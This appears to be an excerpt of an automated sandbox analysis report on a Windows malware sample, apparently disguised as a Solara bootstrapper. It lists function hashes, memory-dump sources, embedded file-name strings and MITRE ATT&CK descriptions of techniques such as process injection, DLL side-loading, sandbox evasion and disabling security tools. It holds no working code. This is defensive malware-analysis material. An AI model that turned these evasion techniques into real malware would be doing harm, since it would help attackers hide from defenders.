Instruction Fuzzy Hash: 5631E53191CB888FDB589B5CA8466A97BF0FB99310F00426FE449D3292DA70AC15CBC2

Function 00007FF88683429F Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1546431489.00007FF886830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886830000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5efb27feee0b16f1ee362c45330fabaee3761294bda91974dc5b4bdbbc87a2fa
Instruction ID: de498ed2fc519a85cc982ed58ef4f1850080b80309059015507c69500d44f0f1
Opcode Fuzzy Hash: 5efb27feee0b16f1ee362c45330fabaee3761294bda91974dc5b4bdbbc87a2fa
Instruction Fuzzy Hash: 3821F232F0DA874FE3A9DA28966057466D1FF4C390FA901BAC00EC71A2DE28EC45C741

Function 00007FF88683459C Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1546431489.00007FF886830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886830000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b07f866d78660f7abf2ad80766f53959a26aee0f1c8c052453158fb4660ddc17
Instruction ID: 4483367d6759d6ddc5c9941e40b0a941c9d25584eaec35e4b593ea3d80b6f572
Opcode Fuzzy Hash: b07f866d78660f7abf2ad80766f53959a26aee0f1c8c052453158fb4660ddc17
Instruction Fuzzy Hash: 98112132F0E9874FE3A6DB2895605B877E0FF087A0F5901BAD15EC7097EA18AC55C781

Function 00007FF8867633B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 5c69d1b182ff29aad37d74fbb171a4c525eef3961644124469c2ab0a3353ca0e
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: C701A73110CB0C4FD744EF0CE051AA5B3E0FB95360F10056DE58AC3651DA36E882CB42

Function 00007FF88676C0E2 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18c5b4403144125643aa94798421553d35c8d2e07a4de8a7a6345a01da5d54b
Instruction ID: c4e35dde06a2f9fd9186a5d528d3d39bc27d1f1c00a9ef893188da56bc068c19
Opcode Fuzzy Hash: b18c5b4403144125643aa94798421553d35c8d2e07a4de8a7a6345a01da5d54b
Instruction Fuzzy Hash: DFF0303275C6044FDB4CEA1CF852DB573E1E7D9334B10026EE48BC2656D926E847C686

Function 00007FF88676C128 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58b30047d7e44f079066e9e7afbe79efcaf13536441b5f12f160c6d55ce256cb
Instruction ID: 38cb8282c5407151de2201f6d04f3ee483cc720ff9c0ee405698968afa7c8e50
Opcode Fuzzy Hash: 58b30047d7e44f079066e9e7afbe79efcaf13536441b5f12f160c6d55ce256cb
Instruction Fuzzy Hash: 56F0373275C6044FDB4CAA1CF8529B573D1E799320B10016EE48BC2696D917F842C685

Non-executed Functions

Function 00007FF886768BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

M_^F, xrefs: 00007FF886768C6A
M_^J, xrefs: 00007FF886768C7A
M_^6, xrefs: 00007FF886768BFA
M_^<, xrefs: 00007FF886768C2A
M_^I, xrefs: 00007FF886768C72

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID: M_^6$M_^<$M_^F$M_^I$M_^J
API String ID: 0-1500707516
Opcode ID: 041ac91ce1e2f866d46e9f53b52ae62d15ede3fa734e511d0ac2dfddc52e60c4
Instruction ID: a2d9ee7be2281fb38b7a3aa5b14e395de017defeb1d529274164f6058e48bbdc
Opcode Fuzzy Hash: 041ac91ce1e2f866d46e9f53b52ae62d15ede3fa734e511d0ac2dfddc52e60c4
Instruction Fuzzy Hash: 652105777084669ED30276ADB864ADC7380DBA46B638A47B3E258CF543FD18A08786D1

Function 00007FF8867686FA Relevance: 6.3, Strings: 5, Instructions: 90COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FF8867686FA
M_^, xrefs: 00007FF886768712
M_^, xrefs: 00007FF886768722
M_^, xrefs: 00007FF886768772
M_^, xrefs: 00007FF8867687C2

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-679677686
Opcode ID: 6578915fc91fb94ecd6f914bb74461aeb77435cbfe520801d496b6ecb692bb83
Instruction ID: cd6f54e4b311aa8f9029391a3f116ba66bb9897c124efd1fc38fc1f7869a6a93
Opcode Fuzzy Hash: 6578915fc91fb94ecd6f914bb74461aeb77435cbfe520801d496b6ecb692bb83
Instruction Fuzzy Hash: A53172A3A0E6D59FE717566848B90D53FD0FF12258B0E02F6C8D88F1A3FD58290AC291

Function 00007FF886768955 Relevance: 5.2, Strings: 4, Instructions: 150COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FF886768AC2
M_^, xrefs: 00007FF8867689C9
M_^, xrefs: 00007FF886768A2A
M_^, xrefs: 00007FF886768A7A

Memory Dump Source

Source File: 0000000B.00000002.1543807986.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886760000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^
API String ID: 0-1397233021
Opcode ID: 5ce95b20ca1fda97b254bb0081d972034d579d739c8b849da8a4253fac1cb583
Instruction ID: dfa932f377910ad4e41640966d2dfd512709635714ddbf1b3a5bfc079146dbf2
Opcode Fuzzy Hash: 5ce95b20ca1fda97b254bb0081d972034d579d739c8b849da8a4253fac1cb583
Instruction Fuzzy Hash: 55417396A0E6D25FF35752284879195BFA0FF52258B4D03F6C4C88F0E3FD592847D2A2

Analysis Process: bound.exePID: 7976, Parent PID: 7796COMMON

Executed Functions

Function 00007FF88676A7D2 Relevance: 5.6, Strings: 4, Instructions: 554COMMON

Download Yara Rule

Strings

yX_H, xrefs: 00007FF88676AACF
vX_H, xrefs: 00007FF88676AE4F
8hf, xrefs: 00007FF88676A975
}f, xrefs: 00007FF88676AA55

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID: }f$8hf$vX_H$yX_H
API String ID: 0-1268338001
Opcode ID: fe4a78b987730ad11f56939d775cd190225a535ca8bc2e134aa93bbae7dea302
Instruction ID: 14bf443520310830fbd92e29abb061ba91c123365dd0fddcccf3c8fbc99fce30
Opcode Fuzzy Hash: fe4a78b987730ad11f56939d775cd190225a535ca8bc2e134aa93bbae7dea302
Instruction Fuzzy Hash: 8A12EF71D1895D8BEBA8EB58D8A97A9B3F1FB58750F1002F5D00DD3292DE346D82CB41

Function 00007FF88677B784 Relevance: 2.8, Strings: 2, Instructions: 303COMMON

Download Yara Rule

Strings

b4d, xrefs: 00007FF88677B880
b4d, xrefs: 00007FF88677B7BA

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID: b4d$b4d
API String ID: 0-1613134983
Opcode ID: f61792fd54b31067f98ab1a21e1a8fcbbaa474850444b06dfe35265b722eb97b
Instruction ID: e508413ec08ab4a2dc11158b492e98e2ecd2ae1de289f152aac5f8d370e2e740
Opcode Fuzzy Hash: f61792fd54b31067f98ab1a21e1a8fcbbaa474850444b06dfe35265b722eb97b
Instruction Fuzzy Hash: CD914431A18B4A8FD358EE2894A55B573D2FFA5760B14477ED08AC3282DE28FC42C781

Function 00007FF8867647C8 Relevance: 1.5, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

`on, xrefs: 00007FF88677C613

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID: `on
API String ID: 0-228467854
Opcode ID: 9cf60d12839c69bd4d69e11eda310a2974f66f3d2c6d65140ce1441146c27ccb
Instruction ID: 07810de896be061995f4160afec57a0dca8e049756b36dd5722013bc17bb4c1e
Opcode Fuzzy Hash: 9cf60d12839c69bd4d69e11eda310a2974f66f3d2c6d65140ce1441146c27ccb
Instruction Fuzzy Hash: 6E611130609A454FD758EB28C4A5AB6B7E1FF99350F20467ED04AC7292EE24FC46CBC1

Function 00007FF886770FE6 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03c2afbf5fb8a72f5e1827540af886ca90128fac0de00d6260b077838e33252d
Instruction ID: 90dc0af8004e1894621f92f4beda2e8ad33744eaf3f36fda70f2bef545f493da
Opcode Fuzzy Hash: 03c2afbf5fb8a72f5e1827540af886ca90128fac0de00d6260b077838e33252d
Instruction Fuzzy Hash: 23C12821E1DACA4FE795EB6854756B83BD1FF9A2A4B0C02B9D44DC72D3DE189C02C381

Function 00007FF886766FE0 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682b2da0faad58eb030bfc1284b6061860caf98a6c44dfa60e58280ddde27eac
Instruction ID: b453796c73648713b8cbd5dc1fa130bc1026c767ee92292b388cca26a74db9e9
Opcode Fuzzy Hash: 682b2da0faad58eb030bfc1284b6061860caf98a6c44dfa60e58280ddde27eac
Instruction Fuzzy Hash: 4E819D6190EBC64FD3579B3848749A17FB0AF5729071D46EBC4D8CB1E3DA1CA80AC762

Function 00007FF886769785 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29ed690d087fa8024a7b501175555f4d29670074966a09a7affbb6d2ab789364
Instruction ID: 9f96298684951f9ff01f4f59df033348b99bce97df4fda54470d4669dec59836
Opcode Fuzzy Hash: 29ed690d087fa8024a7b501175555f4d29670074966a09a7affbb6d2ab789364
Instruction Fuzzy Hash: 3D610931B0DA0A0FE794F56C68A66B537D1FF963A0B0402BAD54EC3197ED15FC528780

Function 00007FF88676BF7D Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60ec4055a88ff549038082c661f61b109c0763dbfb9551c3d50cd44c50686800
Instruction ID: b0281a7495afbf1a73818942785d5f8f4752a7ca6ad313c8d4a157a7bc80d138
Opcode Fuzzy Hash: 60ec4055a88ff549038082c661f61b109c0763dbfb9551c3d50cd44c50686800
Instruction Fuzzy Hash: B6112B6151E7851FE762B3789C966B27FD4EF4729070A01FBE48DC70A3D8086C82C3A1

Function 00007FF88676D79D Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70bef11384e0796c46f96028142052cc48235c69dbf4d3d7c1ac5f7d9fb10a85
Instruction ID: e1cc406d0774f8df0941869906a8dc5171fc196f5e234f9ada0e82fb6f8caeb1
Opcode Fuzzy Hash: 70bef11384e0796c46f96028142052cc48235c69dbf4d3d7c1ac5f7d9fb10a85
Instruction Fuzzy Hash: 5FF04421A1CA880AE756B33C54647B63BE0EF8A340F0803BBC48DC2187DC582C46C382

Function 00007FF88676DF92 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1612635665.00007FF886760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff886760000_bound.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf93277d84c91526b0bf2c57ed57c7318af8d061e4beb8b968988a1ad9bb15a
Instruction ID: 54b9de906897a024489f04b6921386811873a875854ceacd76005e141f06a4a7
Opcode Fuzzy Hash: ebf93277d84c91526b0bf2c57ed57c7318af8d061e4beb8b968988a1ad9bb15a
Instruction Fuzzy Hash: 9AF0824041E7C41FEB579BB8086A6A67FE1AE5B150B4D86FBC5C8CF0A3D51C544EC362

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387713153.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388984719.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388063049.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393941866.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387564300.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388593417.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388313113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1390950904.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388449108.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393465113.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedispdiag.exej% vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387918677.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387811652.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393699319.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1388152864.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499894318.00007FF8F875A000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibsslH vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1494938031.00007FF8E80E3000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1474254395.00007FF8E6C8A000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1500274191.00007FF8F918C000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499339443.00007FF8F0D18000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498656677.00007FF8E836C000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedispdiag.exej% vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1488411064.00007FF8E7535000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython313.dll. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1489734191.00007FF8E7A12000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499719654.00007FF8F8326000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499093820.00007FF8E83CA000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498846132.00007FF8E8394000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1500095776.00007FF8F8D8C000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Binary or memory string: OriginalFilenamedispdiag.exej% vs SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

